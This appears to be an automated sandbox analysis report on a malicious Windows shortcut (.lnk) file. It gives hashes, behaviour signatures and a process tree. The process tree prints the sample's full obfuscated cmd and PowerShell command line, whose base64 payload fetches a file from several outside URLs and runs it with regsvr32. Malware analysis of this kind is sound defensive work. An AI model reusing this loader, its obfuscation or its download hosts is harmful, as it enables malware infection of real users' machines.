Overview

overview

8

Static

static

1

c6d3517986...99.lnk

windows7-x64

6

c6d3517986...99.lnk

windows10-2004-x64

8

Analysis

  • max time kernel
    92s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/11/2024, 17:41

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General

  • Target

    c6d351798633b4fad9637ab9f59beb9aa802e90ae3eee68e5c24847ca494e199.lnk

  • Size

    3KB

  • MD5

    f2f8d4549dd0dd0f7ec798a754638847

  • SHA1

    ce36594b2a50400f2ca89ad9680b47cd414d4412

  • SHA256

    c6d351798633b4fad9637ab9f59beb9aa802e90ae3eee68e5c24847ca494e199

  • SHA512

    cc601bc63a6b3564f2c4fbbe37b121671a1a35d200e67ce9b355fba01b0e50c58dc1f5c159d2379445219692a3b8d8d945e2fd53cef15d18ddb56a004dc9b0d4

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\c6d351798633b4fad9637ab9f59beb9aa802e90ae3eee68e5c24847ca494e199.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:on /c 0ddcoQRI63eEPq/2fiq3woGGxUkHetP13iX0K2GI2t6mqJNxOZI0+uqLT3llcd0Huky4cyKr||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{$HXG=[System.Text.Encoding]::ASCII;$ghT='ICBXcml0ZS1Ib3N0ICJYaHFJVSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL3d3dy5qc29uc2ludGwuY29tL1J4c0dnb1ZXejkvNEhGaTNaWll0bllndEVMZ0NIblovIiwiaHR0cDovL2NtZW50YXJ6LjV';$ufmV='2LnBsL3RoZW1lcy96YWxNa1RiLyIsImh0dHBzOi8vbmFraGFyaW5pdHdlYmhvc3RpbmcuY29tL0hTRFlLTjFYNUdMRi8iLCJodHRwOi8vbmNpYS5kb3Rob21lLmNvLmtyL3dwLWluY2x1ZGVzL2x1N0pialg4WEwxS2FELyIsImh0dHA6Ly9waWZmbC5jb20vcGlmZmwuY29tL2EvIiwiaHR0cDovL2RpZ2l0YWxraXRjaGVuLmpwL2ltYWdlcy9QVm4vIik7JHQ9Ilp0TUlqWXgiOyRkPSIkZW52OlRNUFwuLlwkdCI7bWtkaXIgLWZvcmNlICRkIHwgb3V0LW51bGw7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGRcSUtkemZKdFFwai5CQ1A7UmVnc3ZyMzIuZXhlICIkZFxJS2R6Zkp0UXBqLkJDUCI7YnJlYWt9IGNhdGNoIHsgfX0=';$AHI=[System.Convert]::FromBase64String($ghT+$ufmV);$TcqkRL=$HXG.GetString($AHI); iex ($TcqkRL)}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3264
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\ZtMIjYx\IKdzfJtQpj.BCP
          4⤵
            PID:2852

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pzphowmy.u2y.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\ZtMIjYx\IKdzfJtQpj.BCP
      Filesize

      428B

      MD5

      ef91e98f59cb0562c0c8c653c407bce1

      SHA1

      5c42fe8ca5726907be41050522569e363a1c619a

      SHA256

      10c5a17d44e2cd232ce2fcfd3a148a4985e6f1ba1e1ea981b960b9e07f5ab719

      SHA512

      f5d7b67dad3b5c7659ce8939ce3c5f143030b327b0f281445a04e61d4452b5b8632e1510d0b3b612057da3053d050ac569886a0a98795bf06a96f911f9f01263

      Download Submit

    • memory/3264-0-0x00007FFD50683000-0x00007FFD50685000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3264-11-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3264-10-0x000001EACD600000-0x000001EACD622000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3264-12-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3264-17-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

      Filesize

      10.8MB

      Download